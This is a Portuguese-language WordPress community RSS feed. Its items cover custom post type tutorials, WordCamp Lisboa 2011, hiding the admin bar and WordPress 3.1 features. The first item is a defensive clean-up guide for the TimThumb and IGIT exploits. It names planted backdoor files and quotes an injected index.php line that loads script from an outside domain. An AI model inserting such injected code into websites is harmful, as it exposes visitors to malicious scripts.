<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Mais Tráfego &#187; wordpress</title>
	<atom:link href="http://www.maistrafego.pt/category/webdesign/wordpress/feed" rel="self" type="application/rss+xml" />
	<link>http://www.maistrafego.pt</link>
	<description>Mais Tráfego - Criamos Webmasters. Comunidade de webmasters de Portugal</description>
	<lastBuildDate>Fri, 27 Jan 2012 20:01:37 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Vulnerabilidade no Timthumb e no IGIT Related Posts &#8211; Como Desinfectar</title>
		<link>http://www.maistrafego.pt/wordpress-vulnerabilidade-timthumb-igit-related-posts</link>
		<comments>http://www.maistrafego.pt/wordpress-vulnerabilidade-timthumb-igit-related-posts#comments</comments>
		<pubDate>Mon, 08 Aug 2011 16:05:16 +0000</pubDate>
		<dc:creator>Carlos Gandra</dc:creator>
				<category><![CDATA[Destaques]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[segurança]]></category>

		<guid isPermaLink="false">http://www.maistrafego.pt/?p=4542</guid>
		<description><![CDATA[Nos últimos dias, diversas instalações de WordPress têm sido afectadas por uma vulnerabilidade no Timthumb, script utilizado por muitos themes para gerar miniaturas e mais recentemente no IGIT Related Posts, um plugin que mostra os artigos relacionados com miniatura. Apesar de ser um problema alheio ao WordPress em si, todos os bloggers e webmasters que [...]]]></description>
			<content:encoded><![CDATA[<p><img class="size-full wp-image-4551 alignnone" title="Vulnerabilidades" src="http://www.maistrafego.pt/wp-content/uploads/2011/08/security.jpg" alt="Vulnerabilidades" width="600" height="330" /></p>
<p>Nos últimos dias, diversas instalações de WordPress têm sido afectadas por uma vulnerabilidade no Timthumb, script utilizado por muitos themes para gerar miniaturas e mais recentemente no IGIT Related Posts, um plugin que mostra os artigos relacionados com miniatura. Apesar de ser um problema alheio ao WordPress em si, todos os bloggers e webmasters que tenham sites em WordPress, devem proceder à respectiva actualização e desinfecção:</p>
<p><strong>Passo prévio:</strong> efectua uma cópia de segurança antes de qualquer alteração.</p>
<p><strong>1. Verifica se o theme possui o script timthumb.php</strong></p>
<p>No painel de admin do WordPress, clica em Apresentação &#8211; Editor e procura um ficheiro chamado timthumb.php, thumb.php ou um nome semelhante. Caso não exista, não é necessário efectuar qualquer alteração. Se existir, abre o ficheiro e substitui todo o código no interior do mesmo por <a href="http://code.google.com/p/timthumb/source/browse/trunk/timthumb.php" target="_blank">este aqui</a>. Guarda as alterações.</p>
<p><strong>2. Verifica se utilizas o plugin IGIT Related Posts</strong></p>
<p>No painel de admin do WordPress, clica em Plugins e verifica se tens um plugin com este nome. Em caso afirmativo, desactiva-o e remove-o &#8211; pelo menos enquanto não for lançada uma actualização, que pode ser acompanhada na <a href="http://wordpress.org/extend/plugins/igit-related-posts-with-thumb-images-after-posts/" target="_blank">página do plugin</a>. Tendo em conta que este plugin também possui <em>hidden links</em>, pessoalmente recomendo desinstalar de vez e procurar uma solução alternativa.</p>
<p><strong>3. Verifica se tens ficheiros infectados no interior do site</strong></p>
<p>Acede à raiz do WordPress via FTP ou Explorador de Ficheiros do cPanel e verifica se tens os seguintes ficheiros:</p>
<ul>
<li>/wp-admin/js/config.php</li>
<li>/wp-admin/common.php</li>
<li>/wp-admin/upd.php</li>
<li>/wp-content/upd.php</li>
</ul>
<p>Em caso afirmativo, remove-os.</p>
<p><strong>4. Desinfecta o index.php</strong></p>
<p>Acede ao index.php que se encontra na raíz da instalação do WordPress e verifica se no mesmo tens a seguinte linha de código:</p>
<pre class="brush: php">

echo &#039; script type=&amp;quot;text/javascript&amp;quot; language=&amp;quot;javascript&amp;quot;
src=&amp;quot;http://superpuperdomain.com/count.php?ref=&#039;.urlencode($_SERVER[&#039;HTTP_REFERER&#039;]) .&#039;
</pre>
<p>Em caso afirmativo, remove essa porção de código, grava e faz o upload do ficheiro agora limpo, para a raiz do site.</p>
<p><strong>5. Procedimentos de segurança</strong></p>
<p>Nunca é demais relembrar que a melhor forma de não teres os sites atacados, é prevenir esses ataques. Adopta comportamentos de segurança tais como manter o WordPress actualizado, assim como todos os plugins e themes, e nestes últimos procura instalar apenas de autores de confiança e sobretudo, verifica se estas extensões são pagas ou gratuitas, porque existem sites a distribuir plugins e themes premium (pagos) de forma gratuita, portanto pirateados, com a contrapartida de estarem infectados e/ou com <em>spam links</em>.</p>
<p>A segurança das passwords de acesso ao site, ftp, cpanel, bem como a limpeza do computador a partir do qual acedes, são factores igualmente importantes.</p>
<p><strong>Mais informação:</strong></p>
<ul>
<li><a href="http://wordpress.org/support/topic/rss-feed-crash" target="_blank">RSS Feed Crash</a></li>
<li><a href="http://wordpress.org/support/topic/attention-igit-related-posts-with-thumb-image-after-posts-phpremoteview-attack" target="_blank">PHP Remote View Attack</a></li>
</ul>
<p>Podes acompanhar também o <a href="http://forum.maistrafego.pt/index.php?topic=29354">tópico de discussão no fórum</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maistrafego.pt/wordpress-vulnerabilidade-timthumb-igit-related-posts/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Custom post types em wordpress &#8211; Video tutorial &#8211; Parte 4</title>
		<link>http://www.maistrafego.pt/custom-post-types-em-wordpress-video-tutorial</link>
		<comments>http://www.maistrafego.pt/custom-post-types-em-wordpress-video-tutorial#comments</comments>
		<pubDate>Tue, 12 Jul 2011 18:45:58 +0000</pubDate>
		<dc:creator>jota</dc:creator>
				<category><![CDATA[Categorias]]></category>
		<category><![CDATA[Destaques]]></category>
		<category><![CDATA[escola]]></category>
		<category><![CDATA[webdevelopment]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[custom post types]]></category>
		<category><![CDATA[themes]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://www.maistrafego.pt/?p=4364</guid>
		<description><![CDATA[Depois da primeira parte sobre os custom post types em wordpress, da segunda, onde foi explicado como registar os custom post types e, da terceira onde vimos como podemos adicionar novas taxonomias ao post type criado. hoje, vamos ver com podemos adicionar novas custom fiels ao post type. Este vídeo incluí: Criar custom fields; Tutorial [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.maistrafego.pt/wp-content/uploads/2011/05/customposttypes.png"><img class="alignnone size-full wp-image-4179" title="customposttypes" src="http://www.maistrafego.pt/wp-content/uploads/2011/05/customposttypes.png" alt="" width="590" height="250" /></a></p>
<p>Depois da primeira parte sobre os <a title="Costum Post Types em WordPress – Vídeo Tutorial" href="../costum-post-types-em-wordpress" target="_blank">custom post types em wordpress</a>, da segunda, onde foi explicado como <a title="Custom Post Types em WordPress – Vídeo Tutorial – Parte 2" href="../custom-post-types-em-wordpress-%e2%80%93-video-tutorial-parte-2" target="_blank">registar os custom post types</a> e, da terceira onde vimos como podemos adicionar novas <a title="Custom Post Types em WordPress – Vídeo Tutorial – Parte 3" href="http://www.maistrafego.pt/custom-post-types-em-wordpress-video-tutorial-parte-3" target="_blank">taxonomias ao post type</a> criado. hoje, vamos ver com podemos adicionar novas custom fiels ao post type.</p>
<p><strong>Este vídeo incluí:</strong></p>
<ul>
<li>Criar custom fields;</li>
</ul>
<p><strong>Tutorial completo:</strong></p>
<ul>
<li>Parte 1 - <strong><a title="Costum Post Types em WordPress – Vídeo Tutorial" href="../costum-post-types-em-wordpress" target="_blank">Costum Post Types em WordPress – Vídeo Tutorial</a>;</strong></li>
<li>Parte 2 -<strong> <strong><a title="Custom Post Types em WordPress – Vídeo Tutorial – Parte 2" href="../custom-post-types-em-wordpress-%e2%80%93-video-tutorial-parte-2" target="_blank">Costum Post Types em WordPress – Vídeo Tutorial - parte 2</a>.</strong></strong></li>
<li>Parte 3 &#8211; <strong><a href="../custom-post-types-em-wordpress-video-tutorial-parte-3">Custom Post Types em WordPress – Vídeo Tutorial – Parte 3</a></strong></li>
</ul>
<p>&nbsp;</p>
<p><iframe width="590" height="363" src="http://www.youtube.com/embed/vBFJOIUO_n8" frameborder="0" allowfullscreen></iframe></p>
<p>Espero que tenham gostado, qualquer dúvida ou sugestão não hesitem em colocar. O próximo vídeo sai dentro de dias.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maistrafego.pt/custom-post-types-em-wordpress-video-tutorial/feed</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>WordCamp Lisboa 2011</title>
		<link>http://www.maistrafego.pt/wordcamp-lisboa-2011</link>
		<comments>http://www.maistrafego.pt/wordcamp-lisboa-2011#comments</comments>
		<pubDate>Wed, 22 Jun 2011 10:00:43 +0000</pubDate>
		<dc:creator>Wanderley</dc:creator>
				<category><![CDATA[Categorias]]></category>
		<category><![CDATA[Destaques]]></category>
		<category><![CDATA[eventos]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[2011]]></category>
		<category><![CDATA[lisboa]]></category>
		<category><![CDATA[wordcamp]]></category>

		<guid isPermaLink="false">http://www.maistrafego.pt/?p=4292</guid>
		<description><![CDATA[É já no próximo dia 24 de Setembro que a comunidade portuguesa de WordPress vai fazer história com o seu primeiríssimo WordCamp. Depois de alguns encontros informais bem sucedidos é agora altura de subir a fasquia num evento que pretende unir cada vez mais aqueles que fazem do wordpress a sua plataforma de eleição. Os [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.maistrafego.pt/wp-content/uploads/2011/06/WordCamp-Lisboa-2011.jpg"><img class="size-full wp-image-4293 alignnone" src="http://www.maistrafego.pt/wp-content/uploads/2011/06/WordCamp-Lisboa-2011.jpg" alt="WordCamp Lisboa 2011" width="590" height="247" /></a></p>
<p>É já no próximo dia <strong>24 </strong>de <strong>Setembro </strong>que a comunidade portuguesa de <strong>WordPress </strong>vai fazer história com o seu <a href="http://wp-portugal.com/2011/06/21/wordcamp-lisboa-2011-e-desta/" target="_blank">primeiríssimo WordCamp</a>. Depois de alguns encontros informais bem sucedidos é agora altura de subir a fasquia num evento que pretende unir cada vez mais aqueles que fazem do wordpress a sua plataforma de eleição.</p>
<p style="text-align: left;">Os <a title="Wordcamp Central" href="http://central.wordcamp.org/"><strong>WordCamps </strong></a>são eventos totalmente sobre WordPress que acontecem um pouco por todo o mundo. Caracterizados pela informalidade, as portas estão abertas a todos, desde programadores, designers, autores ou meros utilizadores do sistema, todos são bem vindos. O objectivo é partilhar conhecimentos, estabelecer contactos, trocar ideias e socializar.</p>
<p style="text-align: left;">Garantido por esta altura estão oradores de renome não só nacionais como internacionais e à vista também já estão alguns patrocínios. Durante esta semana o <a href="http://2011.lisboa.wordcamp.org/">website oficial do WordCamp Lisboa 2011</a> deve ser lançado e lá vamos poder ver o programa, consultar detalhes sobre todos os oradores, comprar o bilhete para o evento e por aí fora.</p>
<p style="text-align: left;">Este evento irá decorrer no <strong>Auditório Agostinho da Silva</strong> que fica na <strong>Universidade Lusófona</strong>, portanto mesmo se vierem de fora de <strong>Lisboa </strong>só precisam de encontrar o metro, depois metem-se na linha verde em direcção ao <strong>Campo Grande</strong> e finalmente basta caminharem um pouco que estão lá.</p>
<p style="text-align: left;">A organização quer que o <strong>Word­Camp Lis­boa 2011</strong> seja uma referência e abra caminho para muitos mais. Portanto toca a desimpedir o próximo dia 24 de Setembro nas vossas agendas, nós queremos que o <strong>Mais Tráfego</strong> compareça em peso e contribua para fazer deste evento um dos melhores do ano.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maistrafego.pt/wordcamp-lisboa-2011/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Custom Post Types em WordPress – Vídeo Tutorial &#8211; Parte 3</title>
		<link>http://www.maistrafego.pt/custom-post-types-em-wordpress-video-tutorial-parte-3</link>
		<comments>http://www.maistrafego.pt/custom-post-types-em-wordpress-video-tutorial-parte-3#comments</comments>
		<pubDate>Thu, 19 May 2011 19:07:33 +0000</pubDate>
		<dc:creator>jota</dc:creator>
				<category><![CDATA[Categorias]]></category>
		<category><![CDATA[webdevelopment]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[custom post types]]></category>
		<category><![CDATA[themes]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://www.maistrafego.pt/?p=4249</guid>
		<description><![CDATA[Depois da primeira parte sobre os custom post types em wordpress e da segunda, onde foi explicado como registar os custom post types. Hoje trago a terceira parte deste tutorial. Vamos começar por ver como podemos adicionar novas taxonomias ao post type criado, definindo assim novas &#8220;categorias&#8221; que podem ser usadas exclusivamente para o custom post deste tutorial. [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.maistrafego.pt/wp-content/uploads/2011/05/customposttypes.png"><img class="alignnone size-full wp-image-4179" title="customposttypes" src="http://www.maistrafego.pt/wp-content/uploads/2011/05/customposttypes.png" alt="" width="590" height="250" /></a></p>
<p>Depois da primeira parte sobre os <a title="Costum Post Types em WordPress – Vídeo Tutorial" href="http://www.maistrafego.pt/costum-post-types-em-wordpress" target="_blank">custom post types em wordpress</a> e da segunda, onde foi explicado como <a title="Custom Post Types em WordPress – Vídeo Tutorial – Parte 2" href="http://www.maistrafego.pt/custom-post-types-em-wordpress-%e2%80%93-video-tutorial-parte-2" target="_blank">registar os custom post types</a>. Hoje trago a terceira parte deste tutorial. Vamos começar por ver como podemos adicionar novas taxonomias ao post type criado, definindo assim novas &#8220;categorias&#8221; que podem ser usadas exclusivamente para o custom post deste tutorial. No exemplo prático estamos a criar um site de jogos, vamos então ver baseado no brainstorm que definimos, como podemos adicionar os tipos de plataformas distintos que existem no mercado.</p>
<p><strong>Este vídeo incluí:</strong></p>
<ul>
<li>Criar custom taxonomies;</li>
<li>Adicionar as novas taxonomies ao custom post;</li>
<li>Definição de labels;</li>
<li>Criação de categorias via painel de administração.</li>
</ul>
<p><strong>Tutorial completo:</strong></p>
<ul>
<li>Parte 1 - <strong><a title="Costum Post Types em WordPress – Vídeo Tutorial" href="http://www.maistrafego.pt/costum-post-types-em-wordpress" target="_blank">Costum Post Types em WordPress – Vídeo Tutorial</a>;</strong></li>
<li>Parte 2 -<strong> <strong><a title="Custom Post Types em WordPress – Vídeo Tutorial – Parte 2" href="http://www.maistrafego.pt/custom-post-types-em-wordpress-%e2%80%93-video-tutorial-parte-2" target="_blank">Costum Post Types em WordPress – Vídeo Tutorial - parte 2</a>.</strong></strong></li>
</ul>
<p>&nbsp;</p>
<p>&nbsp;<br />
<iframe width="590" height="362" src="http://www.youtube.com/embed/VQijjOeVZpo" frameborder="0" allowfullscreen></iframe><br />
Espero que tenham gostado, qualquer dúvida ou sugestão não hesitem em colocar. O próximo vídeo sai dentro de dias.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maistrafego.pt/custom-post-types-em-wordpress-video-tutorial-parte-3/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Custom Post Types em WordPress – Vídeo Tutorial &#8211; Parte 2</title>
		<link>http://www.maistrafego.pt/custom-post-types-em-wordpress-%e2%80%93-video-tutorial-parte-2</link>
		<comments>http://www.maistrafego.pt/custom-post-types-em-wordpress-%e2%80%93-video-tutorial-parte-2#comments</comments>
		<pubDate>Tue, 10 May 2011 14:29:06 +0000</pubDate>
		<dc:creator>jota</dc:creator>
				<category><![CDATA[Categorias]]></category>
		<category><![CDATA[webdevelopment]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[custom post types]]></category>
		<category><![CDATA[themes]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://www.maistrafego.pt/?p=4216</guid>
		<description><![CDATA[Depois da primeira parte sobre os custom post types em wordpress, hoje trago a segunda parte deste tutorial. Vamos começar por ver como podemos registar o nosso novo tipo de conteúdo, como definir as suas labels e preparar o novo tipo de conteúdo para tradução. Espero que gostem e esteja acessível para todos. Code is [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.maistrafego.pt/wp-content/uploads/2011/05/customposttypes.png"><img class="alignnone size-full wp-image-4179" title="customposttypes" src="http://www.maistrafego.pt/wp-content/uploads/2011/05/customposttypes.png" alt="" width="590" height="250" /></a></p>
<p>Depois da primeira parte sobre os <a title="Costum Post Types em WordPress – Vídeo Tutorial" href="http://www.maistrafego.pt/costum-post-types-em-wordpress" target="_blank">custom post types em wordpress</a>, hoje trago a segunda parte deste tutorial. Vamos começar por ver como podemos registar o nosso novo tipo de conteúdo, como definir as suas labels e preparar o novo tipo de conteúdo para tradução. Espero que gostem e esteja acessível para todos. <em>Code is Poetry!</em></p>
<p><strong>Este vídeo incluí:</strong></p>
<ul>
<li>Tutorial como registar o custom post type;</li>
<li>Criação de Labels;</li>
<li>Definição de argumentos;</li>
<li>Preparar para tradução.</li>
</ul>
<p>
<iframe width="590" height="362" src="http://www.youtube.com/embed/APAZO5B4UK0" frameborder="0" allowfullscreen></iframe><br />
<br />
Parte 1 - <strong><a title="Costum Post Types em WordPress – Vídeo Tutorial" href="http://www.maistrafego.pt/costum-post-types-em-wordpress" target="_blank">Costum Post Types em WordPress – Vídeo Tutorial</a></strong></p>
<p>Espero que tenham gostado, qualquer dúvida ou sugestão não hesitem em colocar. O próximo vídeo sai dentro de dias.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maistrafego.pt/custom-post-types-em-wordpress-%e2%80%93-video-tutorial-parte-2/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Custom Post Types em WordPress &#8211; Vídeo Tutorial</title>
		<link>http://www.maistrafego.pt/custom-post-types-em-wordpress</link>
		<comments>http://www.maistrafego.pt/custom-post-types-em-wordpress#comments</comments>
		<pubDate>Wed, 04 May 2011 14:56:12 +0000</pubDate>
		<dc:creator>jota</dc:creator>
				<category><![CDATA[Categorias]]></category>
		<category><![CDATA[Destaques]]></category>
		<category><![CDATA[webdevelopment]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[custom post types]]></category>
		<category><![CDATA[themes]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://www.maistrafego.pt/?p=4178</guid>
		<description><![CDATA[Hoje trago o início de uma série de vídeo tutorias sobre os custom post types em wordpress. Vou tentar explicar da melhor maneira possível, como criar os custom post types, como devem ser utilizados e como adaptá-los a um theme customizado. Ou seja, nesta série de vídeos vão poder aprender a utilizar os custom post types [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.maistrafego.pt/wp-content/uploads/2011/05/customposttypes.png"><img class="alignnone size-full wp-image-4179" title="customposttypes" src="http://www.maistrafego.pt/wp-content/uploads/2011/05/customposttypes.png" alt="" width="590" height="250" /></a></p>
<p>Hoje trago o início de uma série de vídeo tutorias sobre os <a href="http://codex.wordpress.org/Post_Types">custom post types</a> em <a href="http://wordpress.org">wordpress</a>. Vou tentar explicar da melhor maneira possível, como criar os custom post types, como devem ser utilizados e como adaptá-los a um theme customizado. Ou seja, nesta série de vídeos vão poder aprender a utilizar os custom post types e também como criar um theme costumizado com funções únicas.</p>
<p>Explicado resumidamente o que são os estes <strong>custom post types</strong>, o wordpress permite a criação de diferentes <strong>tipos de conteúdo</strong>. Esses conteúdos são guardados na base de dados na tabela “wp_posts” e diferenciados pela coluna “post_type”. A grande vantagem de usar esta funcionalidade, é que a nível de backend podemos ter uma organização muito mais elegante e de fácil usabilidade. Por exemplo, se estivermos a fazer um site para um cliente e ele quiser ter posts normais e também fazer reviews, podemos separar os posts normais das reviews. Fará mais sentido criar um novo custom post type, do que apenas uma nova categoria para essa funcionalidade. A explicação não é simples, será mais fácil visualizar os vídeos para ficarem com uma melhor noção desta poderosa funcionalidade do wordpress.</p>
<p><strong>Neste vídeo temos:</strong></p>
<ul>
<li>Introdução;</li>
<li>Preparar a theme, a sua estrutura e ficheiros bases;</li>
<li>Mind map do custom post type.</li>
</ul>
<p><iframe width="590" height="363" src="http://www.youtube.com/embed/lVP9n5nkBMQ" frameborder="0" allowfullscreen></iframe></p>
<p>Espero que tenham gostado, qualquer dúvida ou sugestão não hesitem em colocar. O próximo vídeo sai dentro de dias.</p>
<p>Obrigado</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maistrafego.pt/custom-post-types-em-wordpress/feed</wfw:commentRss>
		<slash:comments>31</slash:comments>
		</item>
		<item>
		<title>Como remover a nova admin bar do wordpress 3.1</title>
		<link>http://www.maistrafego.pt/como-remover-a-nova-admin-bar-do-wordpress-3-1</link>
		<comments>http://www.maistrafego.pt/como-remover-a-nova-admin-bar-do-wordpress-3-1#comments</comments>
		<pubDate>Thu, 24 Feb 2011 17:38:27 +0000</pubDate>
		<dc:creator>Nuno</dc:creator>
				<category><![CDATA[Categorias]]></category>
		<category><![CDATA[webdevelopment]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.maistrafego.pt/?p=3827</guid>
		<description><![CDATA[O wordpress trás uma nova funcionalidade que é a admin bar. Esta admin bar já existia nos blogs do wordpress.com e foi agora importada para os do wordpress.org. Ok, tudo muito bonito, mas eu não quero que os meus utilizadores registados a vejam. Como desligar então a nova admin bar e ocultar também as permissões [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.maistrafego.pt/wp-content/uploads/2010/11/wordpress.png"><img class="alignnone size-full wp-image-2630" title="wordpress" src="http://www.maistrafego.pt/wp-content/uploads/2010/11/wordpress.png" alt="wordpress" width="590" height="250" /></a><br />
O wordpress trás uma <a href="http://www.maistrafego.pt/wordpress-3-1-lancado-em-portugues-e-o-que-ha-de-novo" target="_blank">nova funcionalidade que é a admin bar</a>. Esta admin bar já existia nos blogs do wordpress.com e foi agora importada para os do wordpress.org.</p>
<p>Ok, tudo muito bonito, mas eu não quero que os meus utilizadores registados a vejam. Como desligar então a nova admin bar e ocultar também as permissões no perfil pessoal.</p>
<p><strong>Acrescentem este código ao ficheiro functions.php da vossa theme:</strong></p>
<pre class="brush: php">
&lt;?php
add_filter( &#039;show_admin_bar&#039;, &#039;__return_false&#039; );

function maist_hide_admin_bar_settings() {
?&gt;
&lt;style type=&quot;text/css&quot;&gt;
.show-admin-bar {
display: none;
}
&lt;/style&gt;
&lt;?php
}

function maist_disable_admin_bar() {
add_filter( &#039;show_admin_bar&#039;, &#039;__return_false&#039; );
add_action( &#039;admin_print_scripts-profile.php&#039;,
&#039;maist_hide_admin_bar_settings&#039; );
}
add_action( &#039;init&#039;, &#039;maist_disable_admin_bar&#039; , 9 );
?&gt;
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.maistrafego.pt/como-remover-a-nova-admin-bar-do-wordpress-3-1/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>WordPress 3.1 lançado em português e o que há de novo</title>
		<link>http://www.maistrafego.pt/wordpress-3-1-lancado-em-portugues-e-o-que-ha-de-novo</link>
		<comments>http://www.maistrafego.pt/wordpress-3-1-lancado-em-portugues-e-o-que-ha-de-novo#comments</comments>
		<pubDate>Wed, 23 Feb 2011 16:25:17 +0000</pubDate>
		<dc:creator>Nuno</dc:creator>
				<category><![CDATA[Categorias]]></category>
		<category><![CDATA[Destaques]]></category>
		<category><![CDATA[webdevelopment]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.maistrafego.pt/?p=3807</guid>
		<description><![CDATA[A versão 3.1 do WordPress já está disponível, também em Português. Esta versão foi baptizada de “Django” em homenagem ao guitarrista Django Reinhardt. Faz já o download ou actualiza directamente a partir do painel. Para mais detalhes sobre esta versão, consulta o artigo original no blog oficial. A meu ver esta versão trás algumas novidades que tornam cada vez [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.maistrafego.pt/wp-content/uploads/2010/11/wordpress.png"><img class="size-full wp-image-2630 alignnone" title="wordpress" src="http://www.maistrafego.pt/wp-content/uploads/2010/11/wordpress.png" alt="wordpress" width="590" height="250" /></a></p>
<p><a href="http://www.maistrafego.pt/wp-content/uploads/2010/11/wordpress.png"></a>A versão 3.1 do <strong>WordPress</strong> já está disponível, também <a href="http://wp-portugal.com/2011/02/23/wordpress-3-1-%E2%80%9Cdjango%E2%80%9D-ja-disponivel-em-portugues/" target="_blank">em Português</a>. Esta versão foi baptizada de “Django” em homenagem ao guitarrista <a href="http://en.wikipedia.org/wiki/Django_Reinhardt">Django Reinhardt</a>. Faz já o <a href="http://pt.wordpress.org/releases/#latest">download</a> ou actualiza directamente a partir do painel. Para mais detalhes sobre esta versão, consulta <a href="http://wordpress.org/news/2011/02/threeone/">o artigo original no blog oficial</a>.</p>
<p>A meu ver esta versão trás algumas novidades que tornam cada vez mais o <strong>wordpress</strong> num verdadeiro CMS, se é que já não o era. No entanto, desde a introdução no core dos custom post types, e com esta feita do archive para estes custom post types e ainda os novos post formats, a verdade é que as possibilidades de inserção de conteúdos personalizados e &#8220;costumizáveis&#8221; é agora enorme. Desenvolver blogs, tumblr&#8217;s, directórios, galerias, sites de real-estate, job boards, etc. É uma realidade acessível facilmente a qualquer pessoa.</p>
<p><strong>O que há de novo no wordpress 3.1</strong></p>
<h2>Post formats</h2>
<p><a href="http://www.maistrafego.pt/wp-content/uploads/2011/02/postformat.png"><img class="alignright size-full wp-image-3809" title="postformat" src="http://www.maistrafego.pt/wp-content/uploads/2011/02/postformat.png" alt="" width="292" height="490" /></a>Os post formats são um novo formato de post, que pode ser definido a partir da inserção de post do wordpress. Simplificando o que isto faz, conhecem o <a href="http://www.tumblr.com/" target="_blank">tumblr</a>? Basicamente esta nova funcionalidade do wordpress vai permitir criar tumblr blogs (e não só) a partir do wordpress. Os tipos de posts já vêm definidos por defeito, são eles <em>aside, gallery, link, image, quote, status, video, audio e chat</em>.</p>
<p>O que isto faz é possibilidade de alterar o estilo no vosso CSS para cada tipo. Por exemplo se inserem um video podem alterar o formato do post e definir o seu layout para que este seja diferente dos restantes. Isto trás bastante vantagens a nível de usabilidade e interecção com os leitores, de certeza nos próximos meses vamos ver themes já preparadas para estes post types que nos vão mostrar o real poder deles.</p>
<p><strong>No <a href="http://codex.wordpress.org/Post_Formats" target="_blank">codex do wordpress</a>, já podemos saber a que se referem estes formatos de posts.</strong></p>
<ul>
<li><strong>aside</strong> &#8211; Typically styled without a title. Similar to a Facebook note update.</li>
<li><strong>gallery</strong> &#8211; A gallery of images. Post will likely contain a gallery shortcode and will have image attachments.</li>
<li><strong>link</strong> &#8211; A link to another site. Themes may wish to use the first &lt;a href=””&gt; tag in the post content as the external link for that post. An alternative approach could be if the post consists only of a URL, then that will be the URL and the title (post_title) will be the name attached to the anchor for it.</li>
<li><strong>image</strong> &#8211; A single image. The first &lt;img /&gt; tag in the post could be considered the image. Alternatively, if the post consists only of a URL, that will be the image URL and the title of the post (post_title) will be the title attribute for the image.</li>
<li><strong>quote</strong> &#8211; A quotation. Probably will contain a blockquote holding the quote content. Alternatively, the quote may be just the content, with the source/author being the title.</li>
<li><strong>status</strong> &#8211; A short status update, similar to a Twitter status update.</li>
<li><strong>video</strong> &#8211; A single video. The first &lt;video /&gt; tag or object/embed in the post content could be considered the video. Alternatively, if the post consists only of a URL, that will be the video URL. May also contain the video as an attachment to the post, if video support is enabled on the blog (like via a plugin).</li>
<li><strong>audio</strong> &#8211; An audio file. Could be used for Podcasting.</li>
<li><strong>chat</strong> &#8211; A chat transcript.</li>
</ul>
<h2>Custom post type archives</h2>
<p>Agora é possível ver todos os conteúdos de determinado custom post type. Dantes para o fazer era necessário criar uma nova template para esse custom post type. Agora o wordpress irá gerar uma nova template &#8220;archive&#8221; exclusivamente para esse custom post.</p>
<h2>Internal linking</h2>
<p>Agora é possível escolher qual o conteúdo que queremos linkar a partir da admin do wordpress. Por exemplo, dantes quando queriamos linkar para uma página já existente terimos de ir procurar o url dessa página e copiar e colar o url, agora irá aparecer uma lista de páginas e conteúdos disponíveis para linkar.</p>
<p><a href="http://codex.wordpress.org/Version_3.1" target="_blank">Veja todas as novidades no wordpress 3.1</a></p>
<ul>
<li><strong>Internal Linking</strong> &#8211; click a button for an internal link and it allows you to search for a post or browse a list of existing content and select it for inclusion.</li>
<li><strong>Admin Bar</strong> &#8211; contains various links to useful admin screens. By default, the admin bar is displayed when a user is logged in and visiting the site and is not displayed in admin screens for single blog installs. For multisite installs, the admin bar is displayed both when visiting the site and in the admin screens.</li>
<li><strong>Streamlined Writing Interface</strong> &#8211; new users of WordPress will find the write screen much less cluttered than before, as more of the options are hidden by default. You can click on Screen Options in the top right to bring them back.</li>
<li><strong>Post Formats</strong> &#8211; meta information that can be used by themes to customize presentation of a post. Read more in the article <a title="Post Formats" href="http://codex.wordpress.org/Post_Formats">Post Formats</a>.</li>
<li><strong>Network Admin</strong> &#8211; move Super Admin menus and related pages out of the regular admin and into a new <a title="Network Admin" href="http://codex.wordpress.org/Network_Admin">Network Admin screen</a>.</li>
<li><strong>List-type Admin Screens</strong> &#8211; sortable columns for list-type screens and better pagination.</li>
<li><strong>Exporter/Importer Overhaul</strong> &#8211; many under the hood changes including adding author information, better handling for taxonomies and terms, and proper support for navigation menus.</li>
<li><strong>Custom Content Type Improvements</strong> &#8211; allows developers to generate archive pages, and have better menu and capability controls. Read more in the article <a title="Post Types" href="http://codex.wordpress.org/Post_Types">Post Types</a>.</li>
